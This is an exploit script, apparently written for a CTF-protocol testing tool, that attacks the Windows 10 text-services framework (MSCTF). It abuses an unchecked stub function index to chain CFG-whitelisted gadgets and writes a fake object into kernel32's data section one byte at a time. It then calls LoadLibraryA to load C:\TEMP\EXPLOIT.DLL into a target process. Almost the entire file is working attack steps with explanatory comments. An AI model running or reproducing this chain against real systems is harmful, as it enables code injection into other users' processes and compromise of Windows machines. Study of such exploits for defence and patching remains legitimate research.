# This script loads an arbitrary dll into the current default process on Win10
# 1903 x64.
# vim: syntax=sh

# The function index to reach MSCTF!CTipProxy::Reconvert.
# 0:000> dqs MSCTF!CStubIEnumTfInputProcessorProfiles::_StubTbl + 0n480*8 L1
# 00007ffd`1aee6440 MSCTF!CTipProxy::Reconvert
reg HKLM ReleaseId SOFTWARE\Microsoft\Windows NT\CurrentVersion

set r3 475

set r0 1903
eq  r0 regval
repeat r0 set r3 480

set r0 1809
eq  r0 regval
repeat r0 set r3 496

set r0 1803
eq  r0 regval
repeat r0 set r3 553

set r0 1709
eq  r0 regval
repeat r0 set r3 452

set r0 1703
eq  r0 regval
repeat r0 set r3 401

# Find offset of msvcrt!_init_time from msvcrt base. This is our arbitrary write
# gadget.
gadget msvcrt 48895C240848896C2410574883EC2083
set r4 gadget

# We need to adjust the offset based on the section headers to guess where it
# will be loaded.
section msvcrt .text VirtualAddress
add r4 secval
section msvcrt .text PointerToRawData
sub r4 secval

# Offset of slack space in kernel32 .data section. This is where we build our
# fake object in memory. It doesn't have to be kernel32, any module with some
# writable space that is always zero is fine.
section kernel32 .data VirtualAddress
set r5 secval
add r5 0x1008

# There is a bug in how methods are called on what CTF calls "stubs", essentially
# COM objects. The protocol lets you send a function index that is not bounds
# checked, essentially allowing you to jump through an arbitrary pointer.
#
# We are still limited by CFG, which means whitelisted indirect branch targets
# only, but there are hundreds of thousands of whitelisted targets.
#
# 0:000> u msctf!CStubIEnumTfInputProcessorProfiles::Invoke
# MSCTF!CStubIEnumTfInputProcessorProfiles::Invoke:
#               mov     eax,edx
#               lea     r9,[MSCTF!CStubIEnumTfInputProcessorProfiles::_StubTbl]
#               mov     rdx,r8
#               mov     rax,qword ptr [r9+rax*8]
#               jmp     qword ptr [MSCTF!_guard_dispatch_icall_fptr]
createstub 0 4 IID_IEnumTfInputProcessorProfiles

# At index 496 of this table is a pointer to MSCTF!CTipProxy::Reconvert, which
# is a whitelsited indirect branch target and happens to rearrange our stack
# so that pointers to buffers we control are on the registers.
#
# It then does another indirect call to an address we control, so we can build
# a CFG jump chain.

# Create a new parameter chain.
setarg 1

# This is the most data I can append in one message.
setarg MARSHAL_TYPE_DATA "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

# The only usable arbitrary write gadget I could find is this, where rax is
# entirely controlled. It's part of msvcrt!_init_time, which is a whitelisted
# cfg indirect branch target.
#
# This is really annoying, and believe me I tried to find a better one.
#
#   msvcrt!_init_time+0x79:
#   00007ffd`1a651db9 f0ff8860010000  lock dec dword ptr [rax+160h]
#
module64 msvcrt
patch 0 0x40 module 8 r4

# I need to create an object somewhere that my gadgets can use, It needs to look
# like an object with a vtable as all of the gadgets are small thiscall helpers.
# I don't know the address of the stack, but images are only randomized per-boot
# on Windows, so if I use some unused space in the data section of an image I
# can reliably know it's address.
# Here I set r0 to some unused space in kernel32 data section.
module64 kernel32
set r0 module
add r0 r5

# I need the first qword to be the address of this object, the -0x160 is to
# compensate for the displacement in the dec gadget, then calculate
# (-(r1 >> n) & 0xff) to find out how many times we need to decrement it.
#
# We can't read the data, so we must be confident it's zero for this to work.
#
# This was the best gadget I could find, so lets just make it work :(
#
# CFG is very weak mitigation, but it sure does make you jump through some
# awkward hoops. These loops produce the address we want 1 byte at a time, so
# I need eight of them for each qword.
patch 0 0xa8 r0 8 -0x160
set r1 r0
shr r1 0
neg r1 r1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x15f
set r1 r0
shr r1 8
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x15e
set r1 r0
shr r1 16
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x15d
set r1 r0
shr r1 24
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x15c
set r1 r0
shr r1 32
neg r1 r1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x15b
set r1 r0
shr r1 40
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x15a
set r1 r0
shr r1 48
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x159
set r1 r0
shr r1 56
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

# After the first gadget we land here:
# 0:000> combase!CStdProxyBuffer_CF_AddRef:
#       mov     rcx,qword ptr [rcx-38h]     <-- pointer inside a buffer we control
#       mov     rax,qword ptr [rcx]         <-- load a vtable, this is offset 0x10 into our string.
#       mov     rax,qword ptr [rax+8]       <-- dereference vtable ptr
#       jmp     qword ptr [combase!__guard_dispatch_icall_fptr]

# We point the vtable to our fake object, and make [vtable+8] point to MSCTF!CCompartmentEventSink::OnChange.
patch 0 0x10 r0 8

# 0:000> MSCTF!CCompartmentEventSink::OnChange:
#       mov     rax,qword ptr [rcx+30h]    <-- This is offset 0x40, unlucky we already use it.
#                                              So we have to pass through the combase gadget twice.
#       mov     rcx,qword ptr [rcx+38h]    <-- Make offset 0x48 our new this pointer.
#       jmp     qword ptr [MSCTF!_guard_dispatch_icall_fptr]
# We put the address of the fake object we built into 0x48, (i.e. the slack space in kernel32)
# We need to add 0x38 to compensate for displacement in the gadget.
patch 0 0x48 r0 8 +0x38

# After this we jump back into combase!CStdProxyBuffer_CF_AddRef.
# 0:000> combase!CStdProxyBuffer_CF_Release:
#       mov     rcx,qword ptr [rcx-38h]     <-- The pointer to our slack space in kernel32
#       mov     rax,qword ptr [rcx]         <-- A pointer to itself
#       mov     rax,qword ptr [rax+8]       <-- Address to go next, which is back through
#                                               MSCTF!CCompartmentEventSink::OnChange.
#       jmp     qword ptr [combase!__guard_dispatch_icall_fptr]
#
# I know, I know, how the hell does this even work? It took some work....

# The final stage gadget bounces us back to MSCTF!CCompartmentEventSink::OnChange
# where we can finally load arbitrary rcx and rip.
module64 msctf
set r2 module
gadget msctf 488b4130488b493848ff25
add r2 gadget

# Adjust the file offset based on the section headers.
section msctf .text VirtualAddress
add r2 secval
section msctf .text PointerToRawData
sub r2 secval

# Alright, lets paste this sucker in.
patch 0 0xa8 r0 8 -0x158
set r1 r2
shr r1 0
neg r1 r1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x157
set r1 r2
shr r1 8
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x156
set r1 r2
shr r1 16
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x155
set r1 r2
shr r1 24
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x154
set r1 r2
shr r1 32
neg r1 r1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x153
set r1 r2
shr r1 40
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x152
set r1 r2
shr r1 48
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x151
set r1 r2
shr r1 56
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

# And now we choose our final destination, kernel32!LoadLibraryA()
module64 kernel32
symbol kernel32!LoadLibraryA
set r2 module
add r2 symbol

patch 0 0xa8 r0 8 -0x130
set r1 r2
shr r1 0
neg r1 r1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x12f
set r1 r2
shr r1 8
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x12e
set r1 r2
shr r1 16
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x12d
set r1 r2
shr r1 24
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x12c
set r1 r2
shr r1 32
neg r1 r1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x12b
set r1 r2
shr r1 40
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x12a
set r1 r2
shr r1 48
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x129
set r1 r2
shr r1 56
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

print The CFG call chain is built, writing in parameters...

# Just jumping to LoadLibraryA() wont do very much unless we also give it a
# module to load, so lets write in the address of the buffer immediately after
# our object, then write a path into it.
set r2 module
add r2 r5
add r2 0x40

# This will be a pointer to a string we control.
patch 0 0xa8 r0 8 -0x128
set r1 r2
shr r1 0
neg r1 r1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x127
set r1 r2
shr r1 8
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x126
set r1 r2
shr r1 16
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x125
set r1 r2
shr r1 24
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x124
set r1 r2
shr r1 32
neg r1 r1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x123
set r1 r2
shr r1 40
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x122
set r1 r2
shr r1 48
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x121
set r1 r2
shr r1 56
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

print Writing in the payload path "C:\TEMP\EXPLOIT.DLL"...

# And finally, lets load "../TEMP/EXPLOIT", which should be writable by all users.
set r2 0x5c504d45545c3a43

patch 0 0xa8 r0 8 -0x120
set r1 r2
shr r1 0
neg r1 r1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x11f
set r1 r2
shr r1 8
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x11e
set r1 r2
shr r1 16
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x11d
set r1 r2
shr r1 24
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x11c
set r1 r2
shr r1 32
neg r1 r1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x11b
set r1 r2
shr r1 40
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x11a
set r1 r2
shr r1 48
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x119
set r1 r2
shr r1 56
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

set r2 0x0054494f4c505845

patch 0 0xa8 r0 8 -0x118
set r1 r2
shr r1 0
neg r1 r1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x117
set r1 r2
shr r1 8
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x116
set r1 r2
shr r1 16
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x115
set r1 r2
shr r1 24
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x114
set r1 r2
shr r1 32
neg r1 r1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x113
set r1 r2
shr r1 40
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x112
set r1 r2
shr r1 48
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

patch 0 0xa8 r0 8 -0x111
set r1 r2
shr r1 56
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

# This is combase!CStdProxyBuffer_CF_AddRef, now that we've prepared memory
# with our arbitrary write gadget, we need to start our code execution chain.
module64 combase
gadget combase 488b49c8488b01488b400848ff25
set r1 gadget

# Adjust the file offset based on the section headers.
section combase .text VirtualAddress
add r1 secval
section combase .text PointerToRawData
sub r1 secval

patch 0 0x40 module 8 r1

# OK, all done....
print Payload created and call chain ready, get ready...
callstub 0 0 r3
